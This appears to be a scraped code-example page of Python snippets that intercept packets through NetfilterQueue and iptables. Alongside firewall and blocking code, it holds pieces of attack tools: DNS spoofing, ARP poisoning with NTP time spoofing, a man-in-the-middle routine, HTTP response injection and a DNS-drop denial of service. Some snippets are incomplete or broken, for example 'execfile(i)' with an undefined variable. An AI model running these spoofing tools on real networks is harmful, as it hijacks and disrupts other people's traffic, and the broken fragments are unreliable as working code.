Ejemplo n.º 1
0
class InvalidPacketsFilter(object):
    def __init__(self):
        self._nfqueue = NetfilterQueue()

    def filterPackets(self, packet):
        #scapy_packet = IP(packet.get_payload())

        #print " -------- INIZIO PACCHETTO --------\n\n\n"
        #print scapy_packet.show()
        #print "\n\n\n -------- FINE PACCHETTO --------\n\n\n"

        packet.accept()

    def monitoredTermination(self, signal_number, interrupted_frame):
        self._nfqueue.unbind()
        #system("su daniele -c \"notify-send \\\"Invalid packets filter status changed\\\" \\\"Stopped\\\"\"")
        exit(0)

    def start(self):
        self._nfqueue.bind(2, self.filterPackets)
        #system("su daniele -c \"notify-send \\\"Invalid packets filter status changed\\\" \\\"Started\\\"\"")
        signal(SIGTERM, self.monitoredTermination)
        self._nfqueue.run()

    def stop(self):
        self._nfqueue.unbind()
        #system("su daniele -c \"notify-send \\\"Invalid packets filter status changed\\\" \\\"Stopped\\\"\"")
        exit(0)
Ejemplo n.º 2
0
class PacketFilter:

    def __init__(self, filter):
        self.filter = filter

    def start(self):
        set_ip_forwarding(1)
        iptables().NFQUEUE()

        self.nfqueue = NetfilterQueue()
        self.nfqueue.bind(0, self.modify)

        self.nfqueue.run()

    def modify(self, pkt):
        #log.debug("Got packet")
        data = pkt.get_payload()
        packet = IP(data)

        for filter in self.filter:
            try:
                execfile(i)
            except Exception:
                log.debug("Error occurred in filter", filter)
                print_exc()

        pkt.set_payload(str(packet)) #set the packet content to our modified version
        pkt.accept() #accept the packet

    def stop(self):
        self.nfqueue.unbind()
        set_ip_forwarding(0)
        iptables().flush()
Ejemplo n.º 3
0
 def intercept(self):
     """This method intercepts the packets and send them to a callback
     function."""
     # For Windows Platforms
     if platform.system() == "Windows":
         import pydivert
         w = pydivert.WinDivert()
         w.open()
         print("[*] Waiting for packets...\n\n(Press Ctrl-C to exit)\n")
         try:
             while True:
                 self.windows_modify(w.recv(), w, pydivert)
         except KeyboardInterrupt:
             w.close()
     # For Linux platforms
     elif platform.system() == "Linux":
         from netfilterqueue import NetfilterQueue
         nfqueue = NetfilterQueue()
         # The iptables rule queue number by default is 1
         nfqueue.bind(1, self.linux_modify)
         try:
             self.set_iptables_rules()
             print("[*] Waiting for packets...\n\n(Press Ctrl-C to exit)\n")
             nfqueue.run()
         except KeyboardInterrupt:
             self.clean_iptables()
     else:
         print("Sorry. Platform not supported!\n")
Ejemplo n.º 4
0
def main(argv) :
    global logger

    filename = os.path.join( BASEDIR, TARGET_FILE )
    load_blacklist(filename)

    print( '#### START ####' )
    sys.stdout.flush()

    setup()

    logger = Logger("/var/log/pfloyd.log", False)

    event_handler = ChangeHandler()
    observer = Observer()
    observer.schedule(event_handler,BASEDIR,recursive=True)
    observer.start()

    nfqueue = NetfilterQueue()
    nfqueue.bind(1, netblocker)
    try:
        nfqueue.run()
    except KeyboardInterrupt:
        observer.stop()
        print('')

    nfqueue.unbind()
    observer.join()
Ejemplo n.º 5
0
class Snitch:
    IPTABLES_RULES = (  # Get DNS responses
        "INPUT --protocol udp --sport 53 -j NFQUEUE --queue-num 0 --queue-bypass",
        # Get connection packets
        "OUTPUT -t mangle -m conntrack --ctstate NEW -j NFQUEUE --queue-num 0 --queue-bypass",
        # Reject packets marked by OpenSnitch
        "OUTPUT --protocol tcp -m mark --mark 1 -j REJECT")

    # TODO: Support IPv6!
    def __init__(self):
        self.lock = Lock()
        self.rules = Rules()
        self.dns = DNSCollector()
        self.q = NetfilterQueue()

        self.q.bind(0, self.pkt_callback, 1024 * 2)

    def get_verdict(self, c):
        verdict = self.rules.get_verdict(c)

        if verdict is None:
            with self.lock:
                c.hostname = self.dns.get_hostname(c.dst_addr)
                (save, verdict, apply_for_all) = UI.prompt_user(c)
                if save:
                    self.rules.add_rule(c, verdict, apply_for_all)

        return verdict

    def pkt_callback(self, pkt):
        verd = Rule.ACCEPT

        try:
            data = pkt.get_payload()
            packet = IP(data)

            if self.dns.is_dns_response(packet):
                self.dns.add_response(packet)

            else:
                conn = Connection(data)
                if conn.proto is None:
                    logging.warning("Could not detect protocol for packet.")

                elif conn.pid is None:
                    logging.warning("Could not detect process for connection.")

                else:
                    verd = self.get_verdict(conn)

        except Exception, e:
            logging.exception("Exception on packet callback:")

        if verd == Rule.DROP:
            logging.info("Dropping %s from %s" % (conn, conn.get_app_name()))
            # mark this packet so iptables will drop it
            pkt.set_mark(1)
            pkt.drop()
        else:
            pkt.accept()
Ejemplo n.º 6
0
class PacketFilter:
    def __init__(self, filter):
        self.filter = filter

    def start(self):
        set_ip_forwarding(1)
        iptables().NFQUEUE()

        self.nfqueue = NetfilterQueue()
        self.nfqueue.bind(1, self.modify)

        t = threading.Thread(name='packetparser', target=self.nfqueue.run)
        t.setDaemon(True)
        t.start()

    def modify(self, pkt):
        #log.debug("Got packet")
        data = pkt.get_payload()
        packet = IP(data)

        try:
            execfile(self.filter)
        except Exception:
            log.debug("Error occurred in filter")
            print_exc()

        pkt.set_payload(
            str(packet))  #set the packet content to our modified version
        pkt.accept()  #accept the packet

    def stop(self):
        self.nfqueue.unbind()
        set_ip_forwarding(0)
        iptables().flush()
Ejemplo n.º 7
0
def main():
    queue_id = 1
    if len(sys.argv) == 2 and int(sys.argv[1]) != 0:  #queue id was specified
        queue_id = int(sys.argv[1])
    global n
    global http_rsp
    global sock
    resp_file = 'resp.html'
    html = '<html> <body onLoad=u()> <div id=i> <iframe id=m frameborder=0 width=100% height=100%></iframe> </div> <div id=x> <a onClick=c()>X</a > <iframe src=http://withfi.com/unitest/banner.jpg width=400 height=50 scrolling=no frameborder=0></iframe> </div> </body> </html>'
    with open(resp_file) as f:
        html = f.read()
    http_rsp = r'''
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Connection: close
Expires: 0
Cache-control: no-store,no-cache,must-revalidate,post-check=0,pre-check=0
Content-Length:%d

%s''' % (len(html), html)
    n = 0
    nfqueue = NetfilterQueue()
    sock = conf.L2socket(iface='eth1')
    max_queue_len = 10
    nfqueue.bind(queue_id, print_and_drop, max_queue_len)
    try:
        nfqueue.run()
    except KeyboardInterrupt:
        print
Ejemplo n.º 8
0
def main():

    try:

        iptables_cmd = 'iptables -t raw -A PREROUTING -p tcp --dport ' + args.port + ' -j NFQUEUE --queue-num 1'
        cmd = os.system(iptables_cmd)
        print("[+] Setting IpTables rules")
        if cmd != 0:
            print("[-] setting iptables failed, exiting!")
            quit()
        #create NetfilterQueue object
        nfqueue = NetfilterQueue()
        nfqueue.bind(1, callback)

        print("[+] Waiting for data...")
        print("[+] Accepting only from", args.source, "port", args.port)

        nfqueue.run()

    except KeyboardInterrupt:

        print("[+] Restoring iptables")
        #restore iptables
        os.system("iptables -F -t raw")
        print('[+] Exiting')
        nfqueue.unbind()
Ejemplo n.º 9
0
def run_packet_manipulation():
    """The main method here, will issue a iptables command and construct the NFQUEUE"""

    try:
        global nfqueue

        # Packets for this machine
        os.system("iptables -A INPUT -j NFQUEUE")

        # Packets created from this machine
        os.system("iptables -A OUTPUT -j NFQUEUE")

        # Packets for forwarding or other routes
        os.system("iptables -A FORWARD -j NFQUEUE")

        print_force("[*] Mode is: " + mode.__name__)

        # Setup for the NQUEUE
        nfqueue = NetfilterQueue()

        try:
            nfqueue.bind(0, mode)  # 0 is the default NFQUEUE
        except OSError:
            print_force("[!] Queue already created")

        # Shows the start waiting message
        print_separator()
        print_force("[*] Waiting ")
        nfqueue.run()

    except KeyboardInterrupt:
        clean_close()
Ejemplo n.º 10
0
    def do_mitm(self):
        """
        Performs the man-in-the-middle attack. This function is blocking.
        """

        try:
            # Add necessary IP table entries.
            self.log("Updating IP tables...")
            system("iptables -A INPUT -d {} -p tcp -j NFQUEUE --queue-num {}".
                   format(self.ip, self.queue_number))
            system("iptables -A OUTPUT -s {} -p tcp -j NFQUEUE --queue-num {}".
                   format(self.ip, self.queue_number))

            # Bind to filter queue.
            nfqueue = NetfilterQueue()
            nfqueue.bind(self.queue_number, self.packet_callback)
            s = socket.fromfd(nfqueue.get_fd(), socket.AF_UNIX,
                              socket.SOCK_STREAM)

            try:
                self.log("Running MITM...")
                nfqueue.run_socket(s)
            except KeyboardInterrupt:
                pass

                self.log("Closing sockets...")
            s.close()
            nfqueue.unbind()

        finally:
            # Remove IP table entries.
            self.log("Restoring IP tables.")
            system("iptables -D INPUT 1")
            system("iptables -D OUTPUT 1")
Ejemplo n.º 11
0
def handle_nfqueue():
    try:
        nfqueue = NetfilterQueue()
        nfqueue.bind(3, handle_packet)
        nfqueue.run()
    except:
        LOGGER.exception('stopped handling nfqueue')
Ejemplo n.º 12
0
def main(argv):

    spoofer = NTPSpoof()
    spoofer.getCommandlineOpts(argv)
    print "[===>] Using %s interface" % spoofer.interface

    # trying to resolve gateway mac 
    spoofer.gateway_mac = spoofer.getMac(spoofer.gateway_ip)

    if spoofer.gateway_mac is None:
        print "[ERROR] Couldn't receive gateway MAC."
        sys.exit()
    else:
        print "[===>] Gatway: IP=%s | MAC=%s " % (spoofer.gateway_ip,
                spoofer.gateway_mac)

    # trying to resolve target mac 
    spoofer.target_mac = spoofer.getMac(spoofer.target_ip)

    if spoofer.target_mac is None:
        print "[ERROR] Couldn't receive target MAC."
        sys.exit()
    else:
        print "[===>] Target: IP=%s | MAC=%s " % (spoofer.target_ip,
                spoofer.target_mac)

    # start poisoning in different thread
    poison_thread = threading.Thread(target = spoofer.poisonTarget)
    poison_thread.start()
    
    # put incoming ntp-replies into a queue for manipulation
    print "[===>] Setting iptables for queuing"
    os.system('iptables -A FORWARD -j NFQUEUE --queue-num 1')
    
    # create netfilterqueue interface and bind to nfqueue #1 
    nfqueue = NetfilterQueue()
    nfqueue.bind(1,spoofer.callback)

    try:
        # run queue
        nfqueue.run() 
    
    except KeyboardInterrupt:
        # unbind nfqueue and reset iptables
        print "[===>] Resetting iptables"
        nfqueue.unbind()
        os.system('iptables -F')

 
    
    finally:
        
        # stop poisoning and wait for thread
        POISON = False
        time.sleep(2)

        # restore after poisoning
        print "[===>] Restoring targets ARP-Cache"
        spoofer.restoreTarget()
        sys.exit()
Ejemplo n.º 13
0
def main():
    nfqueue = NetfilterQueue()
    nfqueue.bind(0, process, 100)
    try:
        nfqueue.run()
    except KeyboardInterrupt:
        pass
Ejemplo n.º 14
0
def handle_nfqueue():
    try:
        nfqueue = NetfilterQueue()
        nfqueue.bind(3, handle_packet)
        nfqueue.run()
    except:
        LOGGER.exception('stopped handling nfqueue')
Ejemplo n.º 15
0
def main():

        print("Interface: " , interface, "\nHostnames: ", hostnames) 

        print("\nEnabling promiscuous mode")
        set_promiscuous_mode(interface, True)
        set_ip_forward(True)

        # sniff(iface=interface, filter="udp and port 53", prn = sniff_dns, store=0)


        sniffer = NetfilterQueue()
        sniffer.bind(1, sniff_dns)   
        try:
                os.system("sudo systemd-resolve --flush-caches")
                os.system("sudo iptables -A INPUT -i %s -p udp --sport 53 -j NFQUEUE --queue-num 1" %(interface))
                os.system("sudo iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE --queue-num 1")
                print("\n\t ===> DNS Injection Running <===")
                sniffer.get_fd()
                sniffer.run()

        except KeyboardInterrupt:
                os.system("sudo iptables -F")
                print("\n\t ===> DNS Injection Interupted <===")


        print("\n Disabling promiscuous mode")
        set_promiscuous_mode(interface, False)
        set_ip_forward(False)
Ejemplo n.º 16
0
def start_server_com():
    server = NetfilterQueue()
    server.bind(1, server_stream)
    try:
        server.run()
    except KeyboardInterrupt:
        server.unbind()
Ejemplo n.º 17
0
    def initialize(self, result):
        if platform.system() == "Darwin":
            pass
        else:
            os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
        global domain
        global localIP


        localIP = self.config["poisoned_ip"]
        domain = self.config["domain"]
        self.running = True

        if platform.system() == "Darwin":
            thread = threading.Thread(target=self.dns_sniffer)
            thread.start()
            thread.join()

        else:
            global queue
            from netfilterqueue import NetfilterQueue
            queue = NetfilterQueue()
            queue.bind(1, self.callback)
            try:
                queue.run()  # Main loop
            except KeyboardInterrupt:
                queue.unbind()
                # os.system('iptables -F')
                # os.system('iptables -X')
        return
Ejemplo n.º 18
0
def run():
    if importerror == True:
        printError("Netfilterqueue is not imported!")
        print("Traceback:\n" + str(error))
        return

    controller.reset()
    printInfo("Loading host list...")
    try:
        hostfile = open(getpath.conf() + "hosts", "r").read()
    except FileNotFoundError:
        printError("Host list is not found!")
        return
    except PermissionError:
        printError("Permission denied!")
    for line in hostfile.splitlines():
        if "#" not in line and len(line.split()) == 2:
            hostlist.append(line.split())

    for item in hostlist:
        try:
            item[0] = item[0].encode()
        except AttributeError:
            pass
        try:
            item[1] = item[1].encode()
        except AttributeError:
            pass

    if variables["arp_spoof"][0] == "true":
        printInfo("IPv4 forwarding...")
        os.system('echo "1" >> /proc/sys/net/ipv4/ip_forward')
        printInfo("Starting ARP spoof...")
        arpspoof = ArpSpoofer(variables["router"][0], variables["target"][0],
                              controller)
        arpspoof.start()

    printInform("Ctrl-C to stop.")
    os.system(
        'iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1'
    )
    try:
        q = NetfilterQueue()
        q.bind(1, callback)
        try:
            q.run()
        except KeyboardInterrupt:
            controller.kill = True
            q.unbind()
            os.system('iptables -F')
            os.system('iptables -X')
            printInform("DNS spoof stopped.")
    except:
        printError("Unexcepted error:\n")
        traceback.print_exc(file=sys.stdout)
        controller.kill = True

    if variables["arp_spoof"][0] == "true":
        printInfo("Stopping ARP spoof...")
        arpspoof.join()
Ejemplo n.º 19
0
def main():
    global quitting

    setup(NUM_SLOTS)
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

    timeout_thread = threading.Thread(target=timeout_thread_runner)
    timeout_thread.daemon = True
    timeout_thread.start()

    honeypot_thread = threading.Thread(target=honeypot_thread_runner)
    honeypot_thread.daemon = True
    honeypot_thread.start()

    nfqueue = NetfilterQueue()
    nfqueue.bind(1, on_packet_received)
    s = socket.fromfd(nfqueue.get_fd(), socket.AF_UNIX, socket.SOCK_STREAM)
    try:
        nfqueue.run_socket(s)
    except KeyboardInterrupt:
        print('')

    quitting = True
    s.close()
    nfqueue.unbind()
Ejemplo n.º 20
0
def create_nfqueue_thread(nfqueue_id, func):
    nfqueue = NetfilterQueue()
    nfqueue.bind(nfqueue_id, func)
    nf_queues.append(nfqueue)
    s = socket.fromfd(nfqueue.get_fd(), socket.AF_UNIX, socket.SOCK_STREAM)
    sockets.append(s)
    return gevent.spawn(nfqueue.run_socket, s)
Ejemplo n.º 21
0
class Jam(object):

    name = "Denial of Service Module."
    desc = "Denial of service attacks here."
    version = "0.1"
    ps = "Need to add more DoS attacks."

    def __init__(self):
        self.blocks = []

    def mitmdropstart(self, host):
        os.system("iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1")
        self.host = host
        try:
            print "[+] Man-in-the-middle DNS drop initialized."
            self.t = threading.Thread(name="mitmdrop", target=self.filter)
            self.t.setDaemon(True)
            self.t.start()
        except Exception as e:
            print "[!] Exception caught: {}".format(e)

    def mitmdropstop(self):
        os.system("iptables -t nat -D PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1")
        print "[-] Man-in-the-middle DNS drop finalized."

    def callback(self, packet):
        packet.drop()

    def filter(self):
        try:
            self.q = NetfilterQueue()
            self.q.bind(1, self.callback)
            self.q.run()
        except Exception as e:
            print "[!] Exception caught: {}".format(e)
Ejemplo n.º 22
0
class PacketFilter:
    def __init__(self, filter):
        self.filter = filter

    def start(self):
        set_ip_forwarding(1)
        iptables().NFQUEUE()

        self.nfqueue = NetfilterQueue()
        self.nfqueue.bind(0, self.modify)

        self.nfqueue.run()

    def modify(self, pkt):
        #log.debug("Got packet")
        data = pkt.get_payload()
        packet = IP(data)

        for filter in self.filter:
            try:
                execfile(i)
            except Exception:
                log.debug("Error occurred in filter", filter)
                print_exc()

        pkt.set_payload(
            str(packet))  #set the packet content to our modified version
        pkt.accept()  #accept the packet

    def stop(self):
        self.nfqueue.unbind()
        set_ip_forwarding(0)
        iptables().flush()
Ejemplo n.º 23
0
def main(argv):

    if len(argv) < 3:
        print('netfilter.py queuenum host port')
	exit(s)

    qnum = int(argv[0])
    host = argv[1]
    port = int(argv[2])

    try:
	print host
	print port
        s.settimeout(40)
        s.connect((host, port))
        print('NAT Server found')
    except Exception as e:
        print("No NAT found")
        exit(s)

    nfqueue = NetfilterQueue()
    nfqueue.bind(qnum, handle_packet)

    FORMAT = '%(asctime)-15s %(message)s'
    logging.basicConfig(filename='filtertimes.log', level=logging.DEBUG, format=FORMAT)
    logging.info("NEW TRIAL")

    try:
	print 'RUNNING QUEUE'
        nfqueue.run()
    except KeyboardInterrupt:
        print 'Stopped'
        nfqueue.unbind()

    exit(s)
Ejemplo n.º 24
0
def main(queue_num):
    open("database.json", 'a', os.O_NONBLOCK)
    open("log.txt", 'a', os.O_NONBLOCK)
    if os.stat("database.json").st_size == 0:
        open("database.json", "w").write("{}")

    global database_filename, total_packets, packet_accepted
    database_filename = "database.json"
    total_packets = 0
    packet_accepted = 0
    #making queue and assigning callback
    nfqueue = NetfilterQueue(max_len=10000)
    nfqueue.bind(queue_num, cb)
    print("Started Firewall .... ")

    #calling on each packet arrival
    try:
        nfqueue.run()
    except KeyboardInterrupt:
        print
        ("Keyboard Interrupt")

    #ending of program
    nfqueue.unbind()
    print("Queue Closed\n")
    print(
        "STATISTICS\n\tTotal Packets :: {}\n\tPackets Accepted :: {}\n\tPackets Dropped :: {}"
        .format(total_packets, packet_accepted,
                total_packets - packet_accepted))
Ejemplo n.º 25
0
 def DnsPoison():
     os.system(
         'iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1'
     )
     q = NetfilterQueue()
     q.bind(1, callback)
     q.run()
Ejemplo n.º 26
0
def startIntercept():
    rules()
    nfqueue = NetfilterQueue()
    #  Bind it to queue number 2
    nfqueue.bind(2, handle_packet)
    s = socket.fromfd(nfqueue.get_fd(), socket.AF_INET, socket.SOCK_STREAM)
    try:
        #  Start nfqueue
        nfqueue.run_socket(s)
    except KeyboardInterrupt:
        flush_tables()
        nfqueue.unbind()
        destroyTap()
        gc.TCPDUMP.terminate()
        gc.LOG_DEBUG.debug("Exiting Program (Keyboard Interrupt)")
        gc.LOG_DEBUG.debug('#' * 50)
        sys.exit()
    except SystemError:
        gc.LOG_DEBUG.debug("Failed to Start NFQueue (System Error)")
        flush_tables()
        nfqueue.unbind()
        destroyTap()
        sys.exit()
    except:
        gc.LOG_DEBUG.debug(
            "Failed to Start NFQueue (Unknown Error Encountered)")
        sys.exit()
Ejemplo n.º 27
0
def main():
    global SERVER_IP, SERVER_PORT
    from netfilterqueue import NetfilterQueue

    argument_parser = argparse.ArgumentParser()
    argument_parser.add_argument('--log-file')
    argument_parser.add_argument('--log-level', choices=['INFO', 'DEBUG'], default='INFO')
    argument_parser.add_argument('--queue-number', default=0, type=int)
    argument_parser.add_argument('server', help='x.x.x.x:19842')
    args = argument_parser.parse_args()
    log_level = getattr(logging, args.log_level)
    logging.getLogger().setLevel(log_level)
    logging.getLogger().handlers = []
    if args.log_file:
        handler = logging.handlers.RotatingFileHandler(
            args.log_file, maxBytes=1024 * 16, backupCount=0)
        handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s %(message)s'))
        handler.setLevel(log_level)
        logging.getLogger().addHandler(handler)
    handler = logging.StreamHandler()
    handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s %(message)s'))
    handler.setLevel(log_level)
    logging.getLogger().addHandler(handler)
    signal.signal(signal.SIGTERM, lambda signum, fame: os._exit(1))
    signal.signal(signal.SIGINT, lambda signum, fame: os._exit(1))
    SERVER_IP, SERVER_PORT = args.server.split(':')
    SERVER_PORT = int(SERVER_PORT)

    nfqueue = NetfilterQueue()
    nfqueue.bind(args.queue_number, handle_nfqueue_element)
    LOGGER.info('fquni client started')
    nfqueue.run()
Ejemplo n.º 28
0
def linux_main():
    if os.geteuid() != 0:
        print("Error: Must be run as root !")
        return

    # Activate nfqueue into iptables :
    filterIN = "-p tcp --dport " + str(port) + " -j NFQUEUE --queue-num 42"
    filterOUT = "-p tcp --sport " + str(port) + " -j NFQUEUE --queue-num 42"
    if mode == "Client":
        filterIN, filterOUT = filterOUT, filterIN

    if target is not None:
        filterIN = "-s " + str(target) + " " + filterIN
        filterOUT = "-d " + str(target) + " " + filterOUT

    os.system("iptables -I INPUT " + filterIN)
    os.system("iptables -I OUTPUT " + filterOUT)

    nfqueue = NetfilterQueue()
    nfqueue.bind(42, scapy_process)
    try:
        if not mute:
            print("[*] Waiting for data")
        nfqueue.run()
    except KeyboardInterrupt:
        print()

    # Restoring iptables
    os.system("iptables -D INPUT " + filterIN)
    os.system("iptables -D OUTPUT " + filterOUT)

    if not mute:
        print("Successfully shutdown")
Ejemplo n.º 29
0
 def intercept(self):
     """This method intercepts the packets and send them to a callback
     function."""
     # For Windows Platforms
     if platform.system() == "Windows":
         import pydivert
         w = pydivert.WinDivert()
         w.open()
         print("[*] Waiting for packets...\n\n(Press Ctrl-C to exit)\n")
         try:
             while True:
                 self.windows_modify(w.recv(), w, pydivert)
         except KeyboardInterrupt:
             w.close()
     # For Linux platforms
     elif platform.system() == "Linux":
         from netfilterqueue import NetfilterQueue
         nfqueue = NetfilterQueue()
         # The iptables rule queue number by default is 1
         nfqueue.bind(2, self.linux_modify)
         try:
             self.set_iptables_rules()
             print(banner.get_banner())
             print("[*] Waiting for packets...\n\n(Press Ctrl-C to exit)\n")
             nfqueue.run()
         except KeyboardInterrupt:
             self.clean_iptables()
     elif platform.system() == "Darwin":
         print("MAC SNIFFER")
         from scapy.all import conf, sniff
         conf.iface="lo0"
         conf.use_pcap = True
         sniff(prn=process.process_sc_packet)
     else:
         print("Sorry. Platform not supported!\n")
Ejemplo n.º 30
0
    def run(self):
        self.args()
        self.log('Starting')
        ######### MAIN CODE ###########
        # Iptables rule for NTP packets
        os.system(
            'iptables -t raw -A PREROUTING -p udp --sport 123 -j NFQUEUE --queue-num 20'
        )
        # Filter packets
        nfqueue = NetfilterQueue()
        #20 is the iptables rule queue number
        nfqueue.bind(20, self.manipulate)
        try:
            self.log("[!] Waiting for NTP packages to spoof (Year = " +
                     str(self.year) + " )")
            nfqueue.run()
        except Exception as e:
            self.log("[!] [FAIL] Failed to start NetFilterQueue : " + e)
            sys.exit(1)
        finally:
            nfqueue.unbind()
            #p.terminate()
            os.system('iptables -F -vt raw')

        ###############################
        self.finish(True)
Ejemplo n.º 31
0
class PacketFilter:

    def __init__(self, filter):
        self.filter = filter

    def start(self):
        set_ip_forwarding(1)
        iptables().NFQUEUE()

        self.nfqueue = NetfilterQueue()
        self.nfqueue.bind(1, self.modify)

        t = threading.Thread(name='packetparser', target=self.nfqueue.run)
        t.setDaemon(True)
        t.start()

    def modify(self, pkt):
        #log.debug("Got packet")
        data = pkt.get_payload()
        packet = IP(data)

        try:
            execfile(self.filter)
        except Exception:
            log.debug("Error occurred in filter")
            print_exc()

        pkt.set_payload(str(packet)) #set the packet content to our modified version
        pkt.accept() #accept the packet

    def stop(self):
        self.nfqueue.unbind()
        set_ip_forwarding(0)
        iptables().flush()
class DNSSpoofer:
    def __init__(self, subdomain, local_ip):
        global monitor_domain, server_ip
        monitor_domain = str(subdomain)
        server_ip = local_ip
        self.enable_dns_forwarding()

        self.nfqueue = NetfilterQueue()
        self.nfqueue.bind(1, packet_handler)
        thread = Thread(target=self.start_monitoring, args=(self, ))
        thread.start()

        atexit.register(self.on_shutdown, self)
        print("[+] Started DNS Spoofer thread.")

    def start_monitoring(self, arg):
        self.nfqueue.run()

    def enable_dns_forwarding(self):
        os.system(
            "iptables -t raw -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1"
        )
        print("[+] DNS Forwarding enabled.")

    def disable_dns_forwarding(self):
        os.system(
            "iptables -t raw -D PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1"
        )
        print("[+] DNS Forwarding disabled.")

    def on_shutdown(self, arg):
        self.disable_dns_forwarding()
Ejemplo n.º 33
0
class DNSspoof(object):

	name = "DNS spoofing"
	desc = "Filter DNS packets while in man-in-the-middle and modify packet."
	version = "0.3"

	def __init__(self,fake):
		self.fake = fake


	def callback(self, packet):
		payload = packet.get_payload()
		pkt = IP(payload)

		if not pkt.haslayer(DNSQR):
			packet.accept()
		else:
			if self.inject != None:
				new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                                              UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                                              DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                                              an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.fake))
                                packet.set_payload(str(new_pkt))
                                packet.accept()

			elif self.domain in pkt[DNS].qd.qname:
				new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
        	              		      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                		      	      DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                              		      an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.fake))				
				packet.set_payload(str(new_pkt))
				packet.accept()
			else:
				packet.accept()
			self.currentdomain = str(pkt[DNS].qd.qname)

	def spoof(self):
		try:
			self.q = NetfilterQueue()
			self.q.bind(1, self.callback)
			self.q.run()
		except Exception as e:
			print "[*] Exception caught: {}".format(e) 

	def stop(self):
		self.q.unbind()
		os.system('iptables -t nat -D PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')

	def getdomain(self):
		return self.currentdomain


	def start(self,domain,inject):
		os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
		self.domain = domain
		self.inject = inject
		t = threading.Thread(name='DNSspoof', target=self.spoof)
		t.setDaemon(True)
		t.start()
Ejemplo n.º 34
0
 def start_netfilter(self):
     packets_queue = NetfilterQueue()
     packets_queue.bind(1, self.packet_callback)
     try:
         packets_queue.run()
     except KeyboardInterrupt:
         print('')
     packets_queue.unbind()
Ejemplo n.º 35
0
 def __process_packets(self):
     nfqueue = NetfilterQueue()
     nfqueue.bind(1, self.__process_pkt)
     try:
         nfqueue.run()
     except KeyboardInterrupt:
         print("You stopped the firewall filtering")
         self.__rm_queue_chain_iptables()
Ejemplo n.º 36
0
def handle_nfqueue():
    try:
        nfqueue = NetfilterQueue()
        nfqueue.bind(1, handle_packet)
        nfqueue.run()
    except:
        LOGGER.exception('stopped handling nfqueue')
        dns_service_status.error = traceback.format_exc()
Ejemplo n.º 37
0
def main():
    nfqueue = NetfilterQueue()
    nfqueue.bind(1, dns_nat_arbiter)
    try:
        nfqueue.run()
    except KeyboardInterrupt:
        print('')
    nfqueue.unbind()
Ejemplo n.º 38
0
def main():
	nfqueue = NetfilterQueue()
	nfqueue.bind(int(sys.argv[1]), process)
	try:
		nfqueue.run()
	except KeyboardInterrupt:
		print('')
	nfqueue.unbind()
Ejemplo n.º 39
0
def run():
	if importerror == True:
		printError("netfilterqueue isn't imported")
		printInfo("install the dependencies and reload this module")
		print("traceback:\n"+str(error))
		return

	controller.reset()
	printInfo("loading host list...")
	try:
		hostfile = open(getpath.conf()+"hosts", "r").read()
	except FileNotFoundError:
		printError("host list not found")
		return
	except PermissionError:
		printError("permission denied")
	for line in hostfile.splitlines():
		if "#" not in line and len(line.split()) == 2:
			hostlist.append(line.split())

	for item in hostlist:
		try:
			item[0] = item[0].encode()
		except AttributeError:
			pass
		try:
			item[1] = item[1].encode()
		except AttributeError:
			pass

	if variables["arp_spoof"][0] == "true":
		printInfo("ipv4 forwarding...")
		os.system('echo "1" >> /proc/sys/net/ipv4/ip_forward')
		printInfo("starting arp spoof...")
		arpspoof = ArpSpoofer(variables["router"][0], variables["target"][0], controller)
		arpspoof.start()

	printInfo("ctrl + c to end")
	os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
	try:
		q = NetfilterQueue()
		q.bind(1, callback)
		try:
			q.run()
		except KeyboardInterrupt:
			controller.kill = True
			q.unbind()
			os.system('iptables -F')
			os.system('iptables -X')
			printInfo("dns spoof ended")
	except:
		printError("unexcepted error:\n")
		traceback.print_exc(file=sys.stdout)
		controller.kill = True

	if variables["arp_spoof"][0] == "true":
		printInfo("stopping arp spoof")
		arpspoof.join()
Ejemplo n.º 40
0
def setupFilter():
	nfqueue = NetfilterQueue()
	#1 is the iptabels rule queue number, filter is the callback function
	nfqueue.bind(1, filter) 
	try:
		print "[*] waiting for data"
		nfqueue.run()
	except KeyboardInterrupt:
		pass
Ejemplo n.º 41
0
def handle_nfqueue():
    try:
        nfqueue = NetfilterQueue()
        nfqueue.bind(3, handle_packet)
        nfqueue.run()
    except:
        LOGGER.exception('stopped handling nfqueue')
    finally:
        LOGGER.info('full proxy service stopped')
Ejemplo n.º 42
0
def debug():
    nfqueue = NetfilterQueue()
    # nfqueue.bind(1, print_and_accept)
    nfqueue.bind(1, snoop)
    try:
        nfqueue.run()
    except Exception,e:
        logger.error("Error in Snoop start: %s" % str(e))
        logger.error(traceback.format_exc())
Ejemplo n.º 43
0
def handle_nfqueue():
    try:
        nfqueue = NetfilterQueue()
        nfqueue.bind(2, handle_packet)
        nfqueue.run()
    except:
        LOGGER.exception('stopped handling nfqueue')
        tcp_service_status.error = traceback.format_exc()
    finally:
        LOGGER.info('tcp service stopped')
Ejemplo n.º 44
0
def main():
    parse_arg_and_patterns()
    nfqueue = NetfilterQueue()
    nfqueue.bind(1, pkt_check)
    try:
        nfqueue.run()
    except KeyboardInterrupt:
        print
    finally:
        nfqueue.unbind()
Ejemplo n.º 45
0
